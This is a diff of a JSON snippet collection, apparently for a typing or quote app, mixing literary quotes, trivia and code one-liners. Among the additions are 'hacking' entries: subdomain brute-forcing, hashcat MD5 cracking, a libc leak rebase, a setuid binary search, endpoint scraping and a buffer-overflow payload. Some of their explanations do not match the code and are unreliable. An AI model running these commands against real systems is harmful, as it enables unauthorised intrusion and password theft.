- "content": "Ancient Egyptian civilization flourished along the Nile River for thousands of years, leaving behind monuments such as the pyramids of Giza and the temples of Luxor.",
- "attribution": "History"
+ "category": "literature",
+ "content": "You don't know about me without you have read a book by the name of The Adventures of Tom Sawyer, but that ain't no matter. That book was made by Mr. Mark Twain, and he told the truth, mainly.",
+ "attribution": "Mark Twain, Adventures of Huckleberry Finn"
},
{
"category": "programming",
- "content": "squares = [n * n for n in range(1, 21) if n % 3 != 0]",
+ "content": "counts = {word: text.count(word) for word in set(text.split())}",
"attribution": "Python",
"language": "python",
- "explanation": "A list comprehension: the expression, the loop, then the filter. Faster and clearer than appending in a for loop."
- },
- {
- "category": "general",
- "content": "The Eiffel Tower grows about six inches taller in the summer, as the iron structure expands slightly in the heat and contracts again once the weather cools.",
- "attribution": "General knowledge"
- },
- {
- "category": "philosophy",
- "content": "A journey of a thousand miles begins with a single step.",
- "attribution": "Lao Tzu, Tao Te Ching"
+ "explanation": "A dict comprehension. Note it is quadratic: count rescans the whole string per word. collections.Counter is the right tool."
},
{
- "category": "programming",
- "content": "with open('data.csv', encoding='utf-8') as f: rows = [line.split(',') for line in f]",
- "attribution": "Python",
- "language": "python",
- "explanation": "with closes the file even if the body raises. Iterating a file yields lines without loading it all into memory."
+ "category": "business",
+ "content": "Branding is the practice of shaping how customers perceive a company, going beyond a logo to include tone, values, and the overall experience of using a product.",
+ "attribution": "Business"
},
{
- "category": "technology",
- "content": "Artificial intelligence refers to computer systems designed to perform tasks that normally require human intelligence, such as recognizing speech, images, or patterns in data.",
- "attribution": "Technology"
+ "category": "quotes",
+ "content": "That man over there says that women need to be helped into carriages, and lifted over ditches, and to have the best place everywhere. Nobody ever helps me into carriages, or over mud puddles, or gives me any best place, and ain't I a woman?",
+ "attribution": "Sojourner Truth, Ain't I a Woman?"
},
{
- "category": "programming",
- "content": "pub struct Point { pub x: f64, pub y: f64 }",
- "attribution": "Rust",
- "language": "rust",
- "explanation": "Fields are private by default in Rust, so each one needs its own pub - making the struct public does not publish its contents."
+ "category": "nature",
+ "content": "The Sahara Desert was once a green landscape with lakes and grasslands, before a shift in the Earth's orbit altered rainfall patterns thousands of years ago.",
+ "attribution": "Nature"
},
{
"category": "history",
- "content": "The Great Depression of the 1930s began with the stock market crash of 1929 and led to widespread unemployment and economic hardship across the globe.",
+ "content": "The Cold War divided much of the world into two opposing blocs for nearly half a century, one aligned with the United States and the other with the Soviet Union.",
"attribution": "History"
},
{
"category": "philosophy",
- "content": "I think, therefore I am.",
- "attribution": "Rene Descartes, Discourse on the Method"
+ "content": "The beginning is the most important part of the work.",
+ "attribution": "Plato, The Republic"
+ },
+ {
+ "category": "general",
+ "content": "Bamboo is one of the fastest growing plants on Earth. Some species can grow nearly a meter in a single day under the right conditions, which is why it is used so widely in construction and manufacturing across Asia.",
+ "attribution": "General knowledge"
},
{
"category": "movies",
- "content": "It's only after we've lost everything that we're free to do anything.",
- "attribution": "Fight Club (1999)"
+ "content": "We used to look up at the sky and wonder at our place in the stars. Now we just look down and worry about our place in the dirt.",
+ "attribution": "Interstellar (2014)"
},
{
- "category": "literature",
- "content": "All we have to decide is what to do with the time that is given us.",
- "attribution": "J.R.R. Tolkien, The Fellowship of the Ring"
+ "category": "history",
+ "content": "Ancient Egyptian civilization flourished along the Nile River for thousands of years, leaving behind monuments such as the pyramids of Giza and the temples of Luxor.",
+ "attribution": "History"
},
{
- "category": "nature",
- "content": "The Sahara Desert was once a green landscape with lakes and grasslands, before a shift in the Earth's orbit altered rainfall patterns thousands of years ago.",
- "attribution": "Nature"
+ "category": "science",
+ "content": "Water is one of the few substances that becomes less dense as it freezes, which is why ice floats on top of liquid water instead of sinking to the bottom.",
+ "attribution": "Science"
},
{
- "category": "nature",
- "content": "A single mature tree can absorb around twenty two kilograms of carbon dioxide per year, making forests an important part of regulating the planet's climate.",
- "attribution": "Nature"
+ "category": "history",
+ "content": "The Wright brothers achieved the first powered, controlled flight in 1903 near Kitty Hawk, North Carolina, a flight that lasted only twelve seconds.",
+ "attribution": "History"
},
{
- "category": "movies",
- "content": "If you build it, he will come.",
- "attribution": "Field of Dreams (1989)"
+ "category": "business",
+ "content": "A monopoly exists when a single company dominates an entire market with no significant competition, often leading regulators to intervene to protect consumers.",
+ "attribution": "Business"
},
{
- "category": "quotes",
- "content": "The two most important days in your life are the day you are born and the day you find out why.",
- "attribution": "Mark Twain"
+ "category": "anime",
+ "content": "Even if you can't see it, the river keeps flowing under the ice.",
+ "attribution": "March Comes in Like a Lion"
},
{
"category": "movies",
- "content": "All we have to decide is what to do with the time that is given us.",
- "attribution": "The Lord of the Rings: The Fellowship of the Ring (2001)"
+ "content": "It's only after we've lost everything that we're free to do anything.",
+ "attribution": "Fight Club (1999)"
},
{
"category": "literature",
- "content": "The Nellie, a cruising yawl, swung to her anchor without a flutter of the sails, and was at rest. The flood had made, the wind was nearly calm, and being bound down the river, the only thing for it was to come to and wait for the turn of the tide.",
- "attribution": "Joseph Conrad, Heart of Darkness"
+ "content": "It is a truth universally acknowledged, that a single man in possession of a good fortune, must be in want of a wife. However little known the feelings or views of such a man may be on his first entering a neighbourhood, this truth is so well fixed in the minds of the surrounding families.",
+ "attribution": "Jane Austen, Pride and Prejudice"
+ },
+ {
+ "category": "philosophy",
+ "content": "It is not that we have a short time to live, but that we waste a lot of it.",
+ "attribution": "Seneca, On the Shortness of Life"
},
{
"category": "general",
- "content": "A single bolt of lightning can heat the surrounding air to temperatures hotter than the surface of the sun. The rapid expansion of that superheated air is what produces the crack of thunder we hear moments later.",
+ "content": "The invention of the printing press in the fifteenth century transformed how knowledge spread across Europe. Books that once took months to copy by hand could suddenly be reproduced by the hundreds, making literacy far more accessible.",
"attribution": "General knowledge"
},
{
- "category": "history",
- "content": "The Industrial Revolution transformed economies across Europe and North America during the eighteenth and nineteenth centuries, shifting production from hand tools to machines.",
- "attribution": "History"
+ "category": "programming",
+ "content": "pub struct Point { pub x: f64, pub y: f64 }",
+ "attribution": "Rust",
+ "language": "rust",
+ "explanation": "Fields are private by default in Rust, so each one needs its own pub - making the struct public does not publish its contents."
},
{
"category": "anime",
- "content": "Humankind cannot gain anything without first giving something in return. To obtain, something of equal value must be lost.",
- "attribution": "Fullmetal Alchemist"
+ "content": "This world is rotten, and those who are making it rot deserve to die.",
+ "attribution": "Death Note"
},
{
- "category": "programming",
- "content": "export async function load(url) { const res = await fetch(url); return res.json(); }",
- "attribution": "JavaScript",
- "language": "javascript",
- "explanation": "fetch resolves as soon as headers arrive, so .json() is a second await for the body. It does not throw on a 404 - check res.ok."
+ "category": "technology",
+ "content": "Robotics combines mechanical engineering, electronics, and computer science to design machines capable of performing tasks autonomously or with minimal human control.",
+ "attribution": "Technology"
},
{
"category": "programming",
- "content": "grep -rn \"TODO\" src/ | awk -F: '{print $1}' | sort -u",
- "attribution": "Shell",
- "language": "shell",
- "explanation": "grep -n prints file:line:text, awk splits on the colon to take the filename, sort -u removes the duplicates."
+ "content": "const unique = [...new Set(values)].sort((a, b) => a - b);",
+ "attribution": "JavaScript",
+ "language": "javascript",
+ "explanation": "A Set discards duplicates. Spreading it back to an array allows sorting; the comparator is required or numbers sort as text."
},
{
"category": "science",
- "content": "A black hole forms when a massive star collapses under its own gravity, packing so much mass into so small a space that not even light can escape its pull.",
+ "content": "Newton's first law of motion states that an object at rest stays at rest, and an object in motion stays in motion, unless acted on by an outside force.",
"attribution": "Science"
},
{
"category": "literature",
- "content": "1801. I have just returned from a visit to my landlord, the solitary neighbour that I shall be troubled with. This is certainly a beautiful country. In all England, I do not believe that I could have fixed on a situation so completely removed from the stir of society.",
- "attribution": "Emily Bronte, Wuthering Heights"
+ "content": "Buck did not read the newspapers, or he would have known that trouble was brewing, not alone for himself, but for every tide-water dog, strong of muscle and with warm, long hair, from Puget Sound to San Diego.",
+ "attribution": "Jack London, The Call of the Wild"
},
{
- "category": "literature",
- "content": "Call me Ishmael. Some years ago, never mind how long precisely, having little or no money in my purse, and nothing particular to interest me on shore, I thought I would sail about a little and see the watery part of the world.",
- "attribution": "Herman Melville, Moby-Dick"
+ "category": "hacking",
+ "content": "gobuster dns -d example.com -w /usr/share/wordlists/subdomains.txt -t 40",
+ "attribution": "Recon",
+ "language": "shell",
+ "explanation": "Resolves a wordlist of names against a domain. Subdomains are where forgotten staging boxes live."
},
{
- "category": "business",
- "content": "The purpose of a business is to create and keep a customer.",
- "attribution": "Peter Drucker"
+ "category": "nature",
+ "content": "The deepest part of the ocean, the Mariana Trench, plunges nearly eleven kilometers below the surface, deeper than Mount Everest is tall.",
+ "attribution": "Nature"
},
{
- "category": "anime",
- "content": "When you look at someone's kindness, it's like looking at the sun.",
- "attribution": "Fruits Basket"
+ "category": "science",
+ "content": "The periodic table arranges chemical elements by increasing atomic number, grouping elements with similar properties into the same columns.",
+ "attribution": "Science"
},
{
- "category": "literature",
- "content": "There was no possibility of taking a walk that day. We had been wandering, indeed, in the leafless shrubbery an hour in the morning, but since dinner the cold winter wind had brought with it clouds so sombre, and a rain so penetrating.",
- "attribution": "Charlotte Bronte, Jane Eyre"
+ "category": "nature",
+ "content": "Deserts are defined by low precipitation rather than temperature, which is why some of the coldest places on Earth, including parts of Antarctica, are technically deserts.",
+ "attribution": "Nature"
},
{
- "category": "literature",
- "content": "Christmas won't be Christmas without any presents, grumbled Jo, lying on the rug. It's so dreadful to be poor, sighed Meg, looking down at her old dress.",
- "attribution": "Louisa May Alcott, Little Women"
+ "category": "nature",
+ "content": "In every walk with nature one receives far more than he seeks.",
+ "attribution": "John Muir"
},
{
- "category": "anime",
- "content": "When people are protecting something truly special to them, they truly can become as strong as they can be.",
- "attribution": "Naruto"
+ "category": "movies",
+ "content": "My mama always said life was like a box of chocolates. You never know what you're gonna get.",
+ "attribution": "Forrest Gump (1994)"
},
{
- "category": "science",
- "content": "Vaccines work by training the immune system to recognize a weakened or partial version of a pathogen, so the body can respond quickly if it ever encounters the real threat.",
- "attribution": "Science"
+ "category": "technology",
+ "content": "A blockchain is a distributed ledger that records transactions across many computers, making it difficult to alter any single record without changing every subsequent block.",
+ "attribution": "Technology"
},
{
- "category": "literature",
- "content": "The studio was filled with the rich odour of roses, and when the light summer wind stirred amidst the trees of the garden, there came through the open door the heavy scent of the lilac, or the more delicate perfume of the pink-flowering thorn.",
- "attribution": "Oscar Wilde, The Picture of Dorian Gray"
+ "category": "movies",
+ "content": "If you build it, he will come.",
+ "attribution": "Field of Dreams (1989)"
},
{
- "category": "quotes",
- "content": "Genius is one percent inspiration and ninety-nine percent perspiration.",
- "attribution": "Thomas Edison"
+ "category": "hacking",
+ "content": "hashcat -m 0 -a 0 hashes.txt rockyou.txt --force",
+ "attribution": "Crypto",
+ "language": "shell",
+ "explanation": "An MD5 of a known-weak hash type. Modern password hashing exists because this takes seconds, not years."
},
{
- "category": "technology",
- "content": "A virtual private network encrypts a device's internet connection, helping to protect data from being intercepted while it travels over a public or untrusted network.",
- "attribution": "Technology"
+ "category": "anime",
+ "content": "When do you think people die? When they are forgotten.",
+ "attribution": "One Piece"
},
{
"category": "general",
- "content": "Venus is the hottest planet in the solar system, even though Mercury sits closer to the sun. A thick blanket of carbon dioxide traps heat at the surface.",
+ "content": "Antarctica is technically the largest desert on the planet. Despite being covered in ice, it receives very little precipitation each year, which is the defining characteristic of a desert rather than temperature alone.",
"attribution": "General knowledge"
},
{
- "category": "movies",
- "content": "Of all the gin joints in all the towns in all the world, she walks into mine.",
- "attribution": "Casablanca (1942)"
+ "category": "hacking",
+ "content": "libc.address = leak - libc.symbols['puts']",
+ "attribution": "Exploit dev",
+ "language": "python",
+ "explanation": "Leaks a libc address from the GOT, then rebases every other libc symbol off it. This is how ASLR is worked around rather than defeated."
},
{
- "category": "movies",
- "content": "My mama always said life was like a box of chocolates. You never know what you're gonna get.",
- "attribution": "Forrest Gump (1994)"
+ "category": "history",
+ "content": "The printing press, developed by Johannes Gutenberg in the fifteenth century, made it possible to produce books far more quickly and cheaply than copying them by hand.",
+ "attribution": "History"
+ },
+ {
+ "category": "programming",
+ "content": "const { id, name = 'anonymous', ...rest } = await request.json();",
+ "attribution": "JavaScript",
+ "language": "javascript",
+ "explanation": "Destructuring with a default and a rest property. The default applies only when the value is undefined, not when it is null."
},
{
"category": "anime",
- "content": "Once you've met someone, you never really forget them.",
- "attribution": "Spirited Away"
+ "content": "The only ones who should kill are those who are prepared to be killed.",
+ "attribution": "Code Geass"
},
{
- "category": "movies",
- "content": "A census taker once tried to test me. I ate his liver with some fava beans and a nice chianti.",
- "attribution": "The Silence of the Lambs (1991)"
+ "category": "business",
+ "content": "The man who dies rich, dies disgraced.",
+ "attribution": "Andrew Carnegie"
},
{
- "category": "philosophy",
- "content": "It does not matter how slowly you go as long as you do not stop.",
- "attribution": "Confucius, Analects"
+ "category": "general",
+ "content": "A single bolt of lightning can heat the surrounding air to temperatures hotter than the surface of the sun. The rapid expansion of that superheated air is what produces the crack of thunder we hear moments later.",
+ "attribution": "General knowledge"
+ },
+ {
+ "category": "movies",
+ "content": "The greatest trick the devil ever pulled was convincing the world he didn't exist.",
+ "attribution": "The Usual Suspects (1995)"
},
{
"category": "literature",
@@ -735,233 +878,208 @@
"attribution": "Arthur Conan Doyle, A Scandal in Bohemia"
},
{
- "category": "literature",
- "content": "Buck did not read the newspapers, or he would have known that trouble was brewing, not alone for himself, but for every tide-water dog, strong of muscle and with warm, long hair, from Puget Sound to San Diego.",
- "attribution": "Jack London, The Call of the Wild"
+ "category": "technology",
+ "content": "The transistor, invented in 1947, replaced bulky vacuum tubes and became the foundational building block of nearly every modern electronic device.",
+ "attribution": "Technology"
},
{
- "category": "general",
- "content": "The Pacific Ocean covers more of the planet than all the continents combined. It stretches from the icy waters near Antarctica to the Arctic Circle, and its deepest point, the Mariana Trench, plunges nearly eleven kilometers below the surface.",
- "attribution": "General knowledge"
+ "category": "literature",
+ "content": "1801. I have just returned from a visit to my landlord, the solitary neighbour that I shall be troubled with. This is certainly a beautiful country. In all England, I do not believe that I could have fixed on a situation so completely removed from the stir of society.",
+ "attribution": "Emily Bronte, Wuthering Heights"
},
{
"category": "anime",
- "content": "The only thing we're allowed to do is to believe that we won't regret the choice we made.",
- "attribution": "Attack on Titan"
+ "content": "You should enjoy the little detours to the fullest, because that's where you'll find the things more important than what you want.",
+ "attribution": "Hunter x Hunter"
},
{
- "category": "anime",
- "content": "The only ones who should kill are those who are prepared to be killed.",
- "attribution": "Code Geass"
+ "category": "business",
+ "content": "A balance sheet summarizes what a company owns and owes at a single point in time, split into assets, liabilities, and shareholders' equity.",
+ "attribution": "Business"
},
{
- "category": "literature",
- "content": "It is a truth universally acknowledged, that a single man in possession of a good fortune, must be in want of a wife. However little known the feelings or views of such a man may be on his first entering a neighbourhood, this truth is so well fixed in the minds of the surrounding families.",
- "attribution": "Jane Austen, Pride and Prejudice"
+ "category": "hacking",
+ "content": "find / -perm -4000 -type f 2>/dev/null",
+ "attribution": "Post-exploitation",
+ "language": "shell",
+ "explanation": "Finds setuid binaries. Anything unusual here runs as its owner no matter who executes it."
},
{
- "category": "nature",
- "content": "Rivers shape the landscape around them over thousands of years, carving canyons and depositing sediment that forms fertile floodplains.",
- "attribution": "Nature"
+ "category": "movies",
+ "content": "I'm gonna make him an offer he can't refuse.",
+ "attribution": "The Godfather (1972)"
},
{
- "category": "technology",
- "content": "A central processing unit executes the instructions of a computer program by performing basic arithmetic, logic, and input and output operations.",
- "attribution": "Technology"
+ "category": "literature",
+ "content": "Not all those who wander are lost.",
+ "attribution": "J.R.R. Tolkien"
},
{
- "category": "philosophy",
- "content": "The impediment to action advances action. What stands in the way becomes the way.",
- "attribution": "Marcus Aurelius, Meditations"
+ "category": "nature",
+ "content": "Mycorrhizal fungi form partnerships with the roots of most plants, helping them absorb water and nutrients in exchange for sugars produced by photosynthesis.",
+ "attribution": "Nature"
},
{
- "category": "literature",
- "content": "Mr. Sherlock Holmes, who was usually very late in the mornings, save upon those not infrequent occasions when he was up all night, was seated at the breakfast table.",
- "attribution": "Arthur Conan Doyle, The Hound of the Baskervilles"
+ "category": "quotes",
+ "content": "Stay hungry, stay foolish.",
+ "attribution": "Steve Jobs"
},
{
- "category": "anime",
- "content": "Trees and people used to be good friends.",
- "attribution": "My Neighbor Totoro"
+ "category": "movies",
+ "content": "You mustn't be afraid to dream a little bigger, darling.",
+ "attribution": "Inception (2010)"
},
{
"category": "programming",
- "content": "struct node { int value; struct node *next; };",
- "attribution": "C",
- "language": "clike",
- "explanation": "A linked-list node. It refers to its own type through a pointer, which is legal because a pointer has a known size."
+ "content": "grep -rn \"TODO\" src/ | awk -F: '{print $1}' | sort -u",
+ "attribution": "Shell",
+ "language": "shell",
+ "explanation": "grep -n prints file:line:text, awk splits on the colon to take the filename, sort -u removes the duplicates."
},
{
- "category": "nature",
- "content": "The world is big and I want to have a good look at it before it gets dark.",
- "attribution": "John Muir"
+ "category": "philosophy",
+ "content": "I think, therefore I am.",
+ "attribution": "Rene Descartes, Discourse on the Method"
},
{
"category": "anime",
- "content": "Don't be afraid of things you don't understand. Just accept them as they are.",
- "attribution": "Mushishi"
+ "content": "If everyone is not special, maybe you can be what you want to be.",
+ "attribution": "Mob Psycho 100"
},
{
- "category": "philosophy",
- "content": "Waste no more time arguing about what a good man should be. Be one.",
+ "category": "quotes",
+ "content": "You have power over your mind, not outside events. Realize this, and you will find strength.",
"attribution": "Marcus Aurelius, Meditations"
},
{
- "category": "programming",
- "content": "let total: i64 = values.iter().filter(|v| **v > 0).sum();",
- "attribution": "Rust",
- "language": "rust",
- "explanation": "iter() borrows rather than consuming. The double deref is because filter hands you a reference to the iterator's own reference."
- },
- {
"category": "nature",
"content": "Migratory birds can travel thousands of miles between breeding and wintering grounds, navigating using the sun, stars, and the Earth's magnetic field.",
"attribution": "Nature"
},
{
- "category": "quotes",
- "content": "Four score and seven years ago our fathers brought forth on this continent a new nation, conceived in Liberty, and dedicated to the proposition that all men are created equal.",
- "attribution": "Abraham Lincoln, The Gettysburg Address"
+ "category": "anime",
+ "content": "Overspecialize, and you breed in weakness. It's slow death.",
+ "attribution": "Ghost in the Shell"
},
{
- "category": "business",
- "content": "The man who dies rich, dies disgraced.",
- "attribution": "Andrew Carnegie"
+ "category": "movies",
+ "content": "Your scientists were so preoccupied with whether or not they could, they didn't stop to think if they should.",
+ "attribution": "Jurassic Park (1993)"
},
{
- "category": "quotes",
- "content": "To be great is to be misunderstood.",
- "attribution": "Ralph Waldo Emerson, Self-Reliance"
+ "category": "general",
+ "content": "Bananas are botanically classified as berries, while strawberries are not. The classification depends on how the fruit develops from the flower, not on taste or size.",
+ "attribution": "General knowledge"
},
{
- "category": "programming",
- "content": "public static void main(String[] args) { System.out.println(\"ready\"); }",
- "attribution": "Java",
- "language": "clike",
- "explanation": "Java's entry point. The signature is fixed: static so it runs without an instance, and taking the command-line arguments."
+ "category": "literature",
+ "content": "The Time Traveller, for so it will be convenient to speak of him, was expounding a recondite matter to us. His grey eyes shone and twinkled, and his usually pale face was flushed and animated.",
+ "attribution": "H.G. Wells, The Time Machine"
},
{
- "category": "programming",
- "content": "for f in *.log; do gzip -9 \"$f\" && echo \"packed $f\"; done",
- "attribution": "Shell",
- "language": "shell",
- "explanation": "The quotes around $f matter: without them a filename containing a space becomes two arguments."
+ "category": "business",
+ "content": "A startup's burn rate measures how quickly it spends its available cash, an important number for founders trying to plan how long the company can operate before running out of money.",
+ "attribution": "Business"
},
{
"category": "general",
- "content": "Bamboo is one of the fastest growing plants on Earth. Some species can grow nearly a meter in a single day under the right conditions, which is why it is used so widely in construction and manufacturing across Asia.",
+ "content": "A group of flamingos is called a flamboyance. The birds get their pink color from the pigments in the shrimp and algae they eat.",
"attribution": "General knowledge"
},
{
- "category": "business",
- "content": "A startup's burn rate measures how quickly it spends its available cash, an important number for founders trying to plan how long the company can operate before running out of money.",
- "attribution": "Business"
+ "category": "science",
+ "content": "Sound travels as a wave of pressure through a medium such as air or water, and it cannot travel through the vacuum of space, since there are no particles to carry the vibration.",
+ "attribution": "Science"
},
{
- "category": "nature",
- "content": "Heaven is under our feet as well as over our heads.",
- "attribution": "Henry David Thoreau, Walden"
+ "category": "anime",
+ "content": "If you win, you live. If you lose, you die. If you don't fight, you can't win.",
+ "attribution": "Attack on Titan"
},
{
- "category": "technology",
- "content": "Quantum computing uses the principles of quantum mechanics to process information in ways that classical computers cannot, potentially solving certain problems far faster.",
- "attribution": "Technology"
+ "category": "movies",
+ "content": "Get busy living, or get busy dying.",
+ "attribution": "The Shawshank Redemption (1994)"
+ },
+ {
+ "category": "hacking",
+ "content": "curl -s https://target/app.js | grep -oE '\"/[a-zA-Z0-9_/-]+\"' | sort -u",
+ "attribution": "Recon",
+ "language": "shell",
+ "explanation": "Pulls every unique path a site references from its own JavaScript. Endpoints that no link points at are still endpoints."
},
{
"category": "programming",
- "content": "for i, v := range items { fmt.Printf(\"%d: %v\\n\", i, v) }",
- "attribution": "Go",
+ "content": "public static void main(String[] args) { System.out.println(\"ready\"); }",
+ "attribution": "Java",
"language": "clike",
- "explanation": "range yields index and value. In Go before 1.22 the loop variable was reused each iteration, which surprised anyone capturing it in a closure."
+ "explanation": "Java's entry point. The signature is fixed: static so it runs without an instance, and taking the command-line arguments."
},
{
- "category": "nature",
- "content": "Wolves live and hunt in structured packs, usually led by a breeding pair, and communicate through howls that can be heard for several kilometers.",
- "attribution": "Nature"
+ "category": "programming",
+ "content": "export async function load(url) { const res = await fetch(url); return res.json(); }",
+ "attribution": "JavaScript",
+ "language": "javascript",
+ "explanation": "fetch resolves as soon as headers arrive, so .json() is a second await for the body. It does not throw on a 404 - check res.ok."
},
{
"category": "nature",
- "content": "Coral reefs cover less than one percent of the ocean floor, yet they support roughly a quarter of all marine species.",
+ "content": "Wolves live and hunt in structured packs, usually led by a breeding pair, and communicate through howls that can be heard for several kilometers.",
"attribution": "Nature"
},
{
- "category": "movies",
- "content": "Louis, I think this is the beginning of a beautiful friendship.",
- "attribution": "Casablanca (1942)"
- },
- {
"category": "history",
- "content": "The fall of the Berlin Wall in 1989 marked a turning point in the Cold War, as East and West Germany moved toward reunification the following year.",
+ "content": "The Apollo 11 mission landed the first humans on the Moon in July of 1969, when astronauts Neil Armstrong and Buzz Aldrin walked on the lunar surface.",
"attribution": "History"
},
{
- "category": "business",
- "content": "Cash flow tracks the actual movement of money into and out of a business, which can differ significantly from reported profit due to timing differences in payments.",
- "attribution": "Business"
- },
- {
- "category": "quotes",
- "content": "Our greatest glory is not in never falling, but in rising every time we fall.",
- "attribution": "Confucius"
- },
- {
- "category": "philosophy",
- "content": "All men by nature desire to know.",
- "attribution": "Aristotle, Metaphysics"
+ "category": "movies",
+ "content": "I am big. It's the pictures that got small.",
+ "attribution": "Sunset Boulevard (1950)"
},
{
- "category": "general",
- "content": "Honey never spoils if it is stored properly. Archaeologists have found pots of honey in ancient Egyptian tombs that are thousands of years old and still perfectly edible, preserved by its low moisture content and natural acidity.",
- "attribution": "General knowledge"
+ "category": "hacking",
+ "content": "payload = b'A' * 72 + p64(0x401196) + p64(win_addr)",
+ "attribution": "Exploit dev",
+ "language": "python",
+ "explanation": "A cyclic pattern. Whatever four bytes end up in the instruction pointer tell you the exact offset to the return address."
},
{
"category": "literature",
- "content": "My father's family name being Pirrip, and my Christian name Philip, my infant tongue could make of both names nothing longer or more explicit than Pip. So, I called myself Pip, and came to be called Pip.",
- "attribution": "Charles Dickens, Great Expectations"
+ "content": "The studio was filled with the rich odour of roses, and when the light summer wind stirred amidst the trees of the garden, there came through the open door the heavy scent of the lilac, or the more delicate perfume of the pink-flowering thorn.",
+ "attribution": "Oscar Wilde, The Picture of Dorian Gray"
},
{
"category": "programming",
- "content": "counts = {word: text.count(word) for word in set(text.split())}",
- "attribution": "Python",
- "language": "python",
- "explanation": "A dict comprehension. Note it is quadratic: count rescans the whole string per word. collections.Counter is the right tool."
- },
- {
- "category": "general",
- "content": "The shortest war in recorded history was fought between Britain and Zanzibar in 1896. It lasted around forty minutes before Zanzibar surrendered.",
- "attribution": "General knowledge"
+ "content": "if (typeof value !== 'string' || value.length === 0) { return null; }",
+ "attribution": "JavaScript",
+ "language": "javascript",
+ "explanation": "A guard clause: reject the bad input first and return, instead of nesting the real work inside an if."
},
{
- "category": "quotes",
- "content": "Whatever you are, be a good one.",
- "attribution": "Abraham Lincoln"
+ "category": "business",
+ "content": "Price is what you pay, and value is what you get.",
+ "attribution": "Warren Buffett"
},
{
- "category": "programming",
- "content": "let mut counts: HashMap<String, usize> = HashMap::new();",
- "attribution": "Rust",
- "language": "rust",
- "explanation": "mut because inserting mutates it. The type annotation is needed here since nothing yet tells the compiler what it holds."
+ "category": "technology",
+ "content": "The first practical smartphones combined a mobile phone with computing features such as email, web browsing, and applications, changing how people communicate and work.",
+ "attribution": "Technology"
},
{
- "category": "history",
- "content": "The Roman Empire at its height stretched from Britain in the north to Egypt in the south, connected by a vast network of roads that still exist in parts of Europe today.",
- "attribution": "History"
+ "category": "business",
+ "content": "A merger combines two companies into one, while an acquisition occurs when one company purchases and absorbs another, though the two terms are often used loosely in everyday conversation.",
+ "attribution": "Business"
},
{
"category": "general",
- "content": "A day on Venus is longer than its year. The planet rotates so slowly on its axis that it takes longer to spin around once than it does to complete an entire orbit around the sun.",
- "attribution": "General knowledge"
- },
- {
- "category": "nature",
- "content": "In every walk with nature one receives far more than he seeks.",
- "attribution": "John Muir"
+ "content": "The quick brown fox jumps over the lazy dog.",
+ "attribution": "Traditional pangram"
},
{
- "category": "anime",
- "content": "I feel like I'm always searching for someone, or something.",
- "attribution": "Your Name"
+ "category": "movies",
+ "content": "With great power comes great responsibility.",
+ "attribution": "Spider-Man (2002)"
},
{
"category": "movies",
@@ -970,240 +1088,276 @@
},
{
"category": "movies",
- "content": "Do. Or do not. There is no try.",
- "attribution": "The Empire Strikes Back (1980)"
+ "content": "Toto, I've a feeling we're not in Kansas anymore.",
+ "attribution": "The Wizard of Oz (1939)"
},
{
- "category": "anime",
- "content": "Anywhere can be paradise as long as you have the will to live.",
- "attribution": "Neon Genesis Evangelion"
+ "category": "technology",
+ "content": "The World Wide Web was invented by Tim Berners-Lee in 1989 as a way to share documents over the internet using hyperlinks.",
+ "attribution": "Technology"
+ },
+ {
+ "category": "quotes",
+ "content": "If I have seen further, it is by standing on the shoulders of giants.",
+ "attribution": "Isaac Newton"
},
{
"category": "anime",
- "content": "If everyone is not special, maybe you can be what you want to be.",
- "attribution": "Mob Psycho 100"
+ "content": "A lesson without pain is meaningless. That's because you cannot gain something without sacrificing something else in return.",
+ "attribution": "Fullmetal Alchemist"
},
{
"category": "technology",
- "content": "The first practical smartphones combined a mobile phone with computing features such as email, web browsing, and applications, changing how people communicate and work.",
+ "content": "A firewall monitors and controls incoming and outgoing network traffic based on predetermined security rules, acting as a barrier between a trusted network and an untrusted one.",
"attribution": "Technology"
},
{
- "category": "quotes",
- "content": "The only limit to our realization of tomorrow is our doubts of today.",
- "attribution": "Franklin D. Roosevelt"
+ "category": "technology",
+ "content": "A virtual private network encrypts a device's internet connection, helping to protect data from being intercepted while it travels over a public or untrusted network.",
+ "attribution": "Technology"
},
{
"category": "programming",
- "content": "const total = items.reduce((acc, item) => acc + item.price, 0);",
- "attribution": "JavaScript",
- "language": "javascript",
- "explanation": "reduce walks the array carrying a running value. The 0 is the starting total; drop it and an empty array throws."
- },
- {
- "category": "quotes",
- "content": "If I have seen further, it is by standing on the shoulders of giants.",
- "attribution": "Isaac Newton"
+ "content": "let total: i64 = values.iter().filter(|v| **v > 0).sum();",
+ "attribution": "Rust",
+ "language": "rust",
+ "explanation": "iter() borrows rather than consuming. The double deref is because filter hands you a reference to the iterator's own reference."
},
{
- "category": "movies",
- "content": "All those moments will be lost in time, like tears in rain. Time to die.",
- "attribution": "Blade Runner (1982)"
+ "category": "science",
+ "content": "Marie Curie remains the only person to win Nobel Prizes in two different sciences, physics and chemistry, for her pioneering research into radioactivity.",
+ "attribution": "Science"
},
{
- "category": "general",
- "content": "The Great Wall of China was not built all at once. It was constructed and extended over many centuries by different dynasties, each adding new sections and rebuilding older ones to defend against invasions from the north.",
- "attribution": "General knowledge"
+ "category": "technology",
+ "content": "Cloud computing allows businesses and individuals to rent computing power and storage over the internet instead of maintaining their own physical servers.",
+ "attribution": "Technology"
},
{
- "category": "business",
- "content": "Price is what you pay, and value is what you get.",
- "attribution": "Warren Buffett"
+ "category": "anime",
+ "content": "Trees and people used to be good friends.",
+ "attribution": "My Neighbor Totoro"
},
{
"category": "movies",
- "content": "You mustn't be afraid to dream a little bigger, darling.",
- "attribution": "Inception (2010)"
+ "content": "Louis, I think this is the beginning of a beautiful friendship.",
+ "attribution": "Casablanca (1942)"
},
{
"category": "science",
- "content": "Newton's first law of motion states that an object at rest stays at rest, and an object in motion stays in motion, unless acted on by an outside force.",
+ "content": "The speed of light in a vacuum is approximately two hundred ninety nine thousand, seven hundred ninety two kilometers per second, and nothing with mass can reach or exceed it.",
"attribution": "Science"
},
{
+ "category": "history",
+ "content": "The Renaissance began in Italy in the fourteenth century, sparking a renewed interest in classical art, science, and learning that eventually spread across Europe.",
+ "attribution": "History"
+ },
+ {
"category": "general",
- "content": "A group of flamingos is called a flamboyance. The birds get their pink color from the pigments in the shrimp and algae they eat.",
+ "content": "Honey never spoils if it is stored properly. Archaeologists have found pots of honey in ancient Egyptian tombs that are thousands of years old and still perfectly edible, preserved by its low moisture content and natural acidity.",
"attribution": "General knowledge"
},
{
- "category": "quotes",
- "content": "I went to the woods because I wished to live deliberately, to front only the essential facts of life, and see if I could not learn what it had to teach, and not, when I came to die, discover that I had not lived.",
- "attribution": "Henry David Thoreau, Walden"
+ "category": "movies",
